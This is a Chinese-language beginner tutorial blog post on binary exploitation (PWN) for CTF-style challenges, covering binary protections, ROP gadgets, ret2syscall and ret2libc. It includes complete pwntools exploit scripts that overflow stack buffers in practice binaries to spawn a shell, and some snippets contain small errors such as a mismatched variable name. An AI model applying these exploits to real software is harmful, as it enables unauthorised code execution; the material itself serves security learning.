PWN初入门

PWN初入门

0x00前置准备

pwntools: pwn工具

gdb-peda/pwndbg

checksec:检查二进制文件安全选项

CANARY    : 栈防护,在栈中传入值返回时检测
FORTIFY   : 对数组大小的判断替换strcpy, memcpy, memset等函数
NX        : 栈内不可执行
PIE       : 地址随机化-针对可执行文件&so    (Bss、text、data)
RELRO     : 设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,防止got修改 Partial表示可以修改

vmmap查看内存映射信息。

ROPgadget

帮助寻找程序片段的工具,方便rop的利用。
–binary指定目标名。
–only搜索指定的汇编指令组合。
如:

--only 'pop|ret' 执行pop ,ret的地址
--only 'int'  调用系统调用的地址

–string 搜索指定字串位置

栈溢出危险函数:
gets scanf vscanf sprintf strcpy strcat bcopy

基本ROP(返回导向编程)

当执行文件开启NX保护时,以往直接向栈或者堆上直接注入代码的方式就不是很好使了。这就用到全新的方法来绕过保护。目前主要是使用ROP,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

所谓gadgets就是以ret结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

e.g:

0x0809ddda : pop eax ; pop ebx ; pop esi ; ret
0x080bb196 : pop eax ; ret

利用前提:

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的gadgets以及相应gadgets的地址。

如果gadgets每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

0x01 pwntools入门

from pwn import *
printf(shellcraft.sh())    //生成sh对应的汇编代码

ret2shellcode

0x01 利用系统调用执行shellcode

ret2syscall

首先查看一下ret2syscall开启的保护:

checksec rop

execve("/bin/sh",NULL,NULL)

如果想执行这条命令就需要执行系统调用,简单的说就是执行系统里的函数而已。那么如何执行系统调用呢,这就要谈到int 0x80的作用了,它是系统调用的入口地址。也就是当程序访问到int 0x80的时候就可以访问系统内的函数了。每个系统命令都有一个系统调用号与之对应,当应用程序开始执行系统调用时,会把要调用函数的系统编号存入及通用寄存器EAX中,接着把函数参数存入其它通用寄存器,最后触发int 0x80中断。

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

修改exa: 0x080bb196 : pop eax ; ret

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

/bin/sh地址: 0x080be408

int 0x80地址:0x08049421

#!/usr/bin/python2
from pwn import *
p = process("./ret2syscall")
pop_exa = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
int80 = 0x08049421
payload = flat([b'A' * 112, pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, 0x080be408, int80])
p.sendline(payload)
p.interactive()

那么接下来有个问题,就是如果像这种片段找不到怎么办, 例如int 80地址找不到怎么办。接下来就要处理这种情况。首先了解下动态链接和静态链接。

test.c

#include <stdio.h>
char shellcode[0x100] = "hello world";
my_puts() {
	write(1, shellcode, 0x100);
}

int main() {
	my_puts();
	puts("bye world!");
	return 0;
}
gcc -fno-pie -o dyntest test.c	  //动态链接
gcc -fno-pie --static -o static_test test.c	  //静态链接

这里还是先关闭pie,开启pie的后期在学

ls -lh

发现文件大小相差很大,这是因为静态链接是把用到的东西直接装入到程序里,而动态链接是需要哪个就去外部的链接库里找。

动态链接特有的:

  • .dynamic: 提供动态连接相关的信息
  • .got(全局偏移量表):保存了全局的变量在程序虚拟内存空间的地址
  • .got.plt(在数据段):保存了全局的函数在程序虚拟内存空间的地址
  • .data:数据

ret2libc

ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置,一般情况下,我们会选择执行 system("/bin/sh")。

那么我们如何得到system函数的地址呢?这里就主要利用了两个知识点

  • system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的。

  • 即使程序有ASLR保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。

简单点说就是我们现在没法在栈上执行需要的命令了,但是我们可以去别的地方执行,在libc.so中就正好有我们需要找的:system("/bin/sh")。

一、有system有/bin/sh

首先查看一下ret2libc1开启的保护:

checksec ret2libc1

源程序为 32 位,开启了NX保护。下面使用IDA查看程序源代码,确定漏洞位置

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出。此外,查看是否有system函数和/bin/sh 存在

strings '/bin/sh'

确实存在,再次查找一下是否有system函数存在。经在 ida 中查找,确实也存在。

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

exp:

#!/usr/bin/python2
from pwn import *
p = process("./ret2libc1")
system_plt = 0x08048460
binsh_addr = 0x08048720
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
p.sendline(payload)
p.interactive()

二、有system无/bin/sh

ret2libc2

该题目与例ret2libc1基本一致,只不过不再出现/bin/sh字符串,所以此次需要我们用gets来读取字符串,所以我们需要两个gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。由于漏洞与上述一致,这里就不在多说,具体的 exp 如下

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

三、无system无/bin/sh

ret2libc3

exp1:

from pwn import *
sh = process('./ret2libc3',
env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./ret2libc3')
libc = ELF('./libc-2.23.so')
sh.sendlineafter(b" :", str(elf.got["puts"]))
sh.recvuntil(b" : ")
libcBase = int(sh.recvuntil(b"\n", drop = True), 16)

#payload = b'A' * 60 + p32(system) + 'b' * 4 + p32(sh_addr)
#print libcBase + libc.symbols['system']
payload = flat(cyclic(60), libcBase + libc.symbols['system'] -libc.symbols["puts"], 0xdeadbeef, next(elf.search(b"sh\x00")))

sh.sendlineafter(' :', payload)
sh.interactive()

python生成坏字符

#!/usr/bin/env python
from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')
posted @ 2022-09-07 20:10  Morning|Star  阅读(189)  评论(0)    收藏  举报